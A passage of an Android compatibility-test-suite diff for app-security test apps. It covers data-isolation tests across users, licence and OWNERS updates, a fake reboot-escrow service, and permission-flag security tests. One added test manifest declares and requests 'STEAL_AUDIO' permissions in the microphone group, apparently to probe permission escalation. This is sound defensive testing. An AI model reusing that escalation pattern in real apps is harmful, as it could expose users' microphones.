                 assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.APPB_PKG);
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.dataDir));
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.deviceProtectedDataDir));
                 assertDirDoesNotExist("/data/data/" + FileUtils.NOT_INSTALLED_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.NOT_INSTALLED_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.NOT_INSTALLED_PKG);
             } catch (Throwable e) {
                 throw new IllegalStateException(e.getMessage());
             }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index c1e3a53..41ca80d 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -20,9 +20,11 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileIsAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
+import android.os.UserHandle;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -48,7 +50,8 @@
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
         assertDirDoesNotExist("/data/data/" + APPA_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + APPA_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -57,8 +60,11 @@
         ApplicationInfo applicationInfo = mContext.getApplicationInfo();
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
-        assertDirIsAccessible("/data/data/" + APPA_PKG);
-        assertFileIsAccessible("/data/misc/profiles/cur/0/" + APPA_PKG + "/primary.prof");
+        if (getCurrentUserId() == UserHandle.USER_SYSTEM) {
+            assertDirIsAccessible("/data/data/" + APPA_PKG);
+        }
+        assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG + "/primary.prof");
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 819dcad..4cb158e 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -62,14 +62,21 @@
     }
 
     public static void assertDirDoesNotExist(String path) {
+        File directory = new File(path);
         // Trying to access a file/directory that does exist, but is not visible to the caller, it
         // should return file not found.
         Exception exception = expectThrows(FileNotFoundException.class, () -> {
-            new FileInputStream(new File(path));
+            new FileInputStream(directory);
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_NOT_FOUND_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_PERMISSION_DENIED_MSG);
 
+        File parent = directory.getParentFile();
+        if (parent != null && !parent.exists()) {
+            // If the parent directory doesn't exist then we can be confident this
+            // directory is entirely invisible.
+            return;
+        }
         // Try to create a directory here, and it should return permission denied not directory
         // exists.
         try {
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
new file mode 100644
index 0000000..6ea9090
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appdataisolation.common;
+
+import android.os.Process;
+import android.os.UserHandle;
+
+public final class UserUtils {
+    public static int getCurrentUserId() {
+        return UserHandle.getUserId(Process.myUid());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
index eb95cc3..53931f9 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWithData",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf85210..ea8a824 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,6 +23,12 @@
     access.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
+
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
index 2848e19..61a66c0 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsApplicationVisibilityCrossUserApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
index 3b93cbb..5faab76 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AuthBoundKeyApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
index ae31730..eb5bd74 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "CtsCorruptApkTests_b71360999",
     apk: "b71360999.apk",
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 6fe5191..08a7c49 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "CtsCorruptApkTests_Compressed_Q",
     apk: "compressed_Q.apk",
@@ -52,4 +56,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
new file mode 100644
index 0000000..85d6f86
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsDeclareNonRuntimePermissions",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..411a66b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.escalate.permission">
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="normal"/>
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="signature"/>
+
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+    <application android:hasCode="false"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
index a7b5ec0..6eac9b6 100644
--- a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccessDeviceIdentifiers",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index dcba2a6..64b78b7 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDocumentClient",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
 dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 8aed0cf..4f9850a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -111,7 +111,7 @@
         try {
             //Enfornce to set the list mode
             //Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
-            new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+            new UiObject(new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/sub_menu_list")).click();
             mDevice.waitForIdle();
         }catch (UiObjectNotFoundException e){
             //do nothing, already be in list mode.
@@ -441,17 +441,25 @@
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         // Look around, we should be able to see both DocumentsProviders and
-        // other GET_CONTENT sources. If the DocumentsProvider and GetContent
-        // root has the same package, they will be combined as one root item.
+        // other GET_CONTENT sources.
         mDevice.waitForIdle();
         assertTrue("CtsLocal root", findRoot("CtsLocal").exists());
         assertTrue("CtsCreate root", findRoot("CtsCreate").exists());
-        assertFalse("CtsGetContent root", findRoot("CtsGetContent").exists());
 
+        // Find and click GetContent item.
+        UiObject getContentRoot = findRoot("CtsGetContent");
         mDevice.waitForIdle();
-        // Both CtsLocal and CtsLocal have action icon and have the same action.
-        findActionIcon("CtsCreate");
-        findActionIcon("CtsLocal").click();
+        if (getContentRoot.exists()) {
+            // Case 1: GetContent is presented as an independent root item.
+            findRoot("CtsGetContent").click();
+        } else {
+            // Case 2: GetContent is presented as an action icon next to the DocumentsProvider root
+            // from the same package.
+            // In this case, both CtsLocal and CtsLocal have action icon and have the same action.
+            findActionIcon("CtsCreate");
+            findActionIcon("CtsLocal").click();
+        }
+
         Result result = mActivity.getResult();
         assertEquals("ReSuLt", result.data.getAction());
     }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 2e34b5e..e7619c4 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDocumentProvider",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 9fe672b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
index 6e6d949..5f80327 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDuplicatePermissionDeclareApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
index 2c0ed78..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 137825
-moltmann@google.com
 eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
index 3826db1..2ced026 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEncryptionApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index f7b5c7f..314e7ae 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -19,7 +19,7 @@
     <queries>
         <package android:name="com.android.cts.splitapp" />
     </queries>
-
+    <uses-sdk android:targetSdkVersion="29"/>
     <application android:label="EncryptionApp">
         <activity android:name=".UnawareActivity"
                 android:exported="true">
@@ -83,6 +83,18 @@
             </intent-filter>
         </provider>
 
+        <service
+            android:name=".RebootEscrowFakeService"
+            android:enabled = "true"
+            android:exported="true"
+            android:permission="android.permission.BIND_RESUME_ON_REBOOT_SERVICE"
+            android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.service.resumeonreboot.ResumeOnRebootService"/>
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
index aacd866..0c17955 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 49763
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 8e3a970..7a1f083 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -151,6 +151,18 @@
                 thisCount > lastCount);
     }
 
+    public void testCheckServiceInteraction() {
+        boolean wrapCalled =
+                mDe.getSharedPreferences(RebootEscrowFakeService.SERVICE_PREFS, 0)
+                        .getBoolean("WRAP_CALLED", false);
+        assertTrue(wrapCalled);
+
+        boolean unwrapCalled =
+                mDe.getSharedPreferences(RebootEscrowFakeService.SERVICE_PREFS, 0)
+                        .getBoolean("UNWRAP_CALLED", false);
+        assertTrue(unwrapCalled);
+    }
+
     public void testVerifyUnlockedAndDismiss() throws Exception {
         doBootCountAfter();
         assertUnlocked();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java
new file mode 100644
index 0000000..126337d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.encryptionapp;
+
+import android.content.Context;
+import android.util.Log;
+import android.service.resumeonreboot.ResumeOnRebootService;
+
+import javax.annotation.Nullable;
+
+/** A implementation for {@link IResumeOnRebootService}
+ *
+ * This class provides a fake implementation for the server based resume on reboot service.
+ * It's used for cts test to verify the functionality of platform code, and it won't talk to
+ * the server when wrap/unwrap is called.
+ */
+public class RebootEscrowFakeService extends ResumeOnRebootService {
+  static final String TAG = "RebootEscrowFakeService";
+
+  // Name of the shared preference for service interaction
+  static final String SERVICE_PREFS = "SERVICE_PREFERENCES";
+
+  @Nullable
+  @Override
+  public byte[] onWrap(byte[] blob, long lifeTimeInMillis) {
+    // Tests can this flag to verify that unwrap is called.
+    Context context =
+            getApplication().getApplicationContext().createDeviceProtectedStorageContext();
+    context.getSharedPreferences(SERVICE_PREFS, 0).edit()
+            .putBoolean("WRAP_CALLED", true).commit();
+
+    return blob;
+  }
+
+  @Nullable
+  @Override
+  public byte[] onUnwrap(byte[] wrappedBlob) {
+    // Tests can this flag to verify that unwrap is called.
+    Context context =
+            getApplication().getApplicationContext().createDeviceProtectedStorageContext();
+    context.getSharedPreferences(SERVICE_PREFS, 0).edit()
+            .putBoolean("UNWRAP_CALLED", true).commit();
+
+    return wrappedBlob;
+  }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
index f153697..271fdbb 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsEphemeralApp1",
     defaults: ["cts_support_defaults"],
@@ -27,11 +31,13 @@
         "ctsdeviceutillegacy-axt",
         "ctstestrunner-axt",
         "testng",
+        "platform-test-annotations",
     ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 5930840..6905564 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.hasItems;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
 import static org.junit.Assert.assertSame;
@@ -69,6 +70,7 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import android.platform.test.annotations.SecurityTest;
 
 import com.android.cts.util.TestResult;
 
@@ -78,6 +80,7 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -1169,6 +1172,30 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+    }
+
+    private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+            throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+                context.getPackageName(), PackageManager.GET_PERMISSIONS);
+        final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+                permissionName);
+        assertThat(permissionIndex, is(not(-1)));
+        return (packageInfo.requestedPermissionsFlags[permissionIndex]
+                & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+    }
+
+    @Test
     public void testExposedActivity() throws Exception {
         final Bundle testArgs = InstrumentationRegistry.getArguments();
         assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
index a39573d..e34a72c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsEphemeralApp2",
     defaults: ["cts_support_defaults"],
@@ -31,6 +35,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
index bec27ae..2e0c1d0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsImplicitApp",
     defaults: ["cts_support_defaults"],
@@ -25,6 +29,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index b7801a9..9ccf83d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsNormalApp",
     defaults: ["cts_support_defaults"],
@@ -26,6 +30,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
index 4a460b1..976a4a1 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsUnexposedApp",
